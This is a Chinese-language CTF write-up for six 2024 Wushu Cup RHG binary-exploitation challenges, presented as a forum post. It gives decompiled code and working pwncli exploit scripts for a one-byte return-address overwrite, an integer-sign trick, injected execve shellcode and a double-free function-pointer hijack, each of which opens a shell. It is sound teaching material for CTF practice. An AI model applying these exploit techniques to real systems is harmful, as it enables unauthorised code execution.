2024 武数杯 RHG
Werqy3 发表于 湖南 CTF 295浏览 · 2024-12-02 08:17

RHG-WP

rhg3

设计的知识点:栈上的单字节溢出/劫持放回地址

ssize_t sub_946()
{
  char buf[104]; // [esp+0h] [ebp-68h] BYREF

  puts("this is no gift");
  puts("please input what you want say");
  return read(0, buf, 0x6Du);
}

一个非常明显的栈溢出

-00000068 buf db 104 dup(?)
+00000000  s db 4 dup(?)
+00000004  r db 4 dup(?)

发现只可以溢出一个字节!

int sub_92D()
{
  return system("$(echo \"L2Jpbi9zaA==\" | base64 -d)");
}

发现一个binsh

┌──(kalikali)-[~/Desktop]
└─$ echo "L2Jpbi9zaA==" | base64 -d  
/bin/sh

可以溢出一个字节,所以直接将返回地址劫持为后门函数就可以了!

#!/usr/bin/env python3

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

pd = flat(
    {
        108:'\x2d'
    }
)
s(pd)

ia()

rhg4

设计的知识点:负数的二进制表示

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[2]; // [esp+4h] [ebp-14h] BYREF
  int v5; // [esp+Ch] [ebp-Ch]

  v5 = 16;
  _isoc99_scanf("%uld", v4);
  v4[1] = v4[0] + v5;
  if ( v4[0] > 0xFFFFFFF0 && v4[0] + v5 <= 14 )
    system("/bin/sh");
  return 0;
}

这题更简单,考察负数在程序中的表示!当v4[0]等于-2时满足条件

#!/usr/bin/env python3

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

pd = '-2'
sl(pd)

ia()

rhg5

直接通过binsh找到system函数:

.rodata:089CCDCF    00000008    C   /bin/sh

又是一个这个:

int sub_80488CE()
{
  return system_0("$(echo \"L2Jpbi9zaA==\" | base64 -d)");
}

然后已知根据交叉引用就可以找到目标:

int sub_89588B7()
{
  char v1[104]; // [esp+0h] [ebp-68h] BYREF

  printf("please input the way you want go");
  __libc_read(0, v1, 0x60);
  sub_895FE90(v1);
  return sub_80488E7(v1, 0);
}

先用IDA的FLIRT功能:
存储的libc的sig文件:
sig-database/ubuntu/libc6/10.10 (maverick) at master · push0ebp/sig-database (github.com))
恢复符号表:版本libc6_2.21-0ubuntu4_i386 Applied 229 ubuntu 16.04 libc6 (2.21-0ubuntu4/i386)

int __cdecl sub_83A8B74(int a1, int a2)
{
  int v2; // eax

  v2 = *(a2 + a1);
  if ( v2 != 'D' )
  {
    if ( v2 > 'D' )
    {
      if ( v2 == 'S' )
        exit(0);
      if ( v2 == 'W' )
        exit(0);
    }
    else if ( v2 == 'A' )
    {
      exit(0);
    }
    exit(0);
  }
  return system_1();
}

只要输入正确的字符串就可以触发system,所以直接使用符号执行技术,或者一步步的向上逆向找到触发system的路径!

#!/usr/bin/env python3

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

pd = flat(
    {
        0x0:'WWDDDADAD'
    }
)

sl(pd)
ia()

rhg6

int __cdecl main()
{
  const char *v1; // [esp+0h] [ebp-78h]
  char buf[96]; // [esp+4h] [ebp-74h] BYREF
  char *v3; // [esp+64h] [ebp-14h]
  ssize_t v4; // [esp+68h] [ebp-10h]
  ssize_t i; // [esp+6Ch] [ebp-Ch]

  init_0();
  printf("please input shellcode");
  v4 = read(0, buf, 0x60u);
  for ( i = 0; i < v4; ++i )
    ++buf[i];                                   // 对输入的数据都加1
  v3 = buf;
  return callfun1(v1);
}

发现对每次输入都进行了-1操作,我们只要通过栈溢出修改v1的值就可以了

.text:08048658 07C 8D 45 8C                      lea     eax, [ebp+buf]
.text:0804865B 07C 89 45 EC                      mov     [ebp+var_14], eax
.text:0804865E 07C 8B 45 EC                      mov     eax, [ebp+var_14]
.text:08048661 07C FF D0                         call    eax                   ; 调用函数的位置,执行shellcode,shellcode写入栈上
.text:08048661
.text:08048663 07C B8 00 00 00 00                mov     eax, 0
.text:08048668 07C 8B 4D FC                      mov     ecx, [ebp+var_4]
.text:0804866B 07C C9                            leave
.text:0804866C 07C 8D 61 FC                      lea     esp, [ecx-4]
.text:0804866F 000 C3                            retn

发现call eax,我们可以向栈上写入数据,在调用call

#!/usr/bin/env python3

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug
def modify_bytes(buf):
    # 创建一个新的字节数组来存储修改后的结果
    modified_buf = bytearray(len(buf))

    # 对每个字节进行 -1 操作
    for i in range(len(buf)):
        modified_buf[i] = (buf[i] - 1) % 256  # 确保结果在 0-255 范围内

    return modified_buf

pd = flat(
    {
        0x0:modify_bytes(ShellcodeMall.i386.execve_bin_sh),
        0x60:''
    }
)
sl(pd)
ia()

rhg7

int sub_8048901()
{
  int v0; // eax
  int result; // eax
  int v2; // [esp+Ch] [ebp-1Ch]
  int chioce; // [esp+10h] [ebp-18h]
  int *v4; // [esp+14h] [ebp-14h]
  int v5; // [esp+18h] [ebp-10h]

  printf("0.new");
  printf("1.free");
  printf("2.show");
  v0 = read();
  if ( v0 == 1 )
  {
    chioce = read();
    if ( chioce > dword_80ECF9C || chioce < 0 )
      exit(-1);
    free(*dword_80EDB60[chioce]);
    return free(dword_80EDB60[chioce]);
  }
  else if ( v0 == 2 )
  {
    v2 = read();
    if ( v2 > dword_80ECF9C || v2 < 0 )
      exit(-1);
    return (*(dword_80EDB60[v2] + 4))(*dword_80EDB60[v2]);
  }
  else
  {
    if ( v0 )
      exit(-1);
    v5 = read();
    if ( v5 > 256 )
    {
      printf("too large");
      exit(-1);
    }
    v4 = malloc(8);
    v4[1] = sub_80488E5;
    if ( v5 <= 0 )
      *v4 = malloc(16);
    else
      *v4 = malloc(v5);
    __libc_read(0, *v4, v5);
    result = dword_80ECF9C++;
    dword_80EDB60[result] = v4;
  }
  return result;
}

手动恢复符号表,或者用ida.
libc6_2.23-0ubuntu10_i386 Applied 518 ubuntu 16.04 libc6 (2.23-0ubuntu10/i386)
发现一个很明显的漏洞uaf,直接使用double free
在使用

.rodata:080BCF4F 2F 62 69 6E 2F 73 68 00       aBinSh db '/bin/sh',0

在调用system就可以了:

int __cdecl sub_804F820(int a1)
{
  if ( a1 )
    return do_system(a1);
  else
    return do_system("exit 0") == 0;
}
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2024-11-30 13:04:55
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug


def cmd(i, prompt='2.show'):
    sla(prompt, i)

def add(sz,cont=p32(0xdeadbeef)*2):
    cmd('0')
    sl(str(sz))
    s(cont)
    #......

def show(i):
    cmd('2')
    sl(str(i))
    #......

def dele(i):
    cmd('1')
    sl(str(i))
    #......
for i in range(3):
    add(0x10)
dele(0)
dele(1)
dele(0)
add(0x8,p32(0x80bcf4f)+p32(0x804f820))

show(1)

ia()

rhg8

__int64 login(void)
{
  _QWORD *exception; // rax
  int v2; // [rsp+Ch] [rbp-34h] BYREF
  int v3; // [rsp+2Ch] [rbp-14h]

  v3 = 100;
  puts("input your calc num");
  scanf("%d", &v2);
  if ( !v2 )
  {
    exception = __cxa_allocate_exception(8uLL);
    *exception = "Division by zero condition!";
    __cxa_throw(exception, &`typeinfo for'char const*, 0LL);
  }
  return (v3 / v2);
}

很显然考察linux 的异常处理

发现shell函数:

.text:0000000000400CB8 48 89 C7                      mov     rdi, rax                        ; void *
.text:0000000000400CBB E8 70 FD FF FF                call    ___cxa_begin_catch
.text:0000000000400CBB
.text:0000000000400CC0 48 89 45 D0                   mov     [rbp+var_30], rax
.text:0000000000400CC4                               ;   try {
.text:0000000000400CC4 E8 EA FE FF FF                call    _Z5shellv                       ; shell(void)
.text:0000000000400CC4                               ;   } // starts at 400CC4
.text:0000000000400CC4
.text:0000000000400CC9 E8 52 FD FF FF                call    ___cxa_end_catch
.text:0000000000400CC9
.text:0000000000400CCE EB D6                         jmp     short loc_400CA6

只需要触发报错就可以得到shell

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

pd = '0'
sl(pd)
pd = '0'
sl(pd)
ia()
0 条评论
某人
表情
可输入 255
目录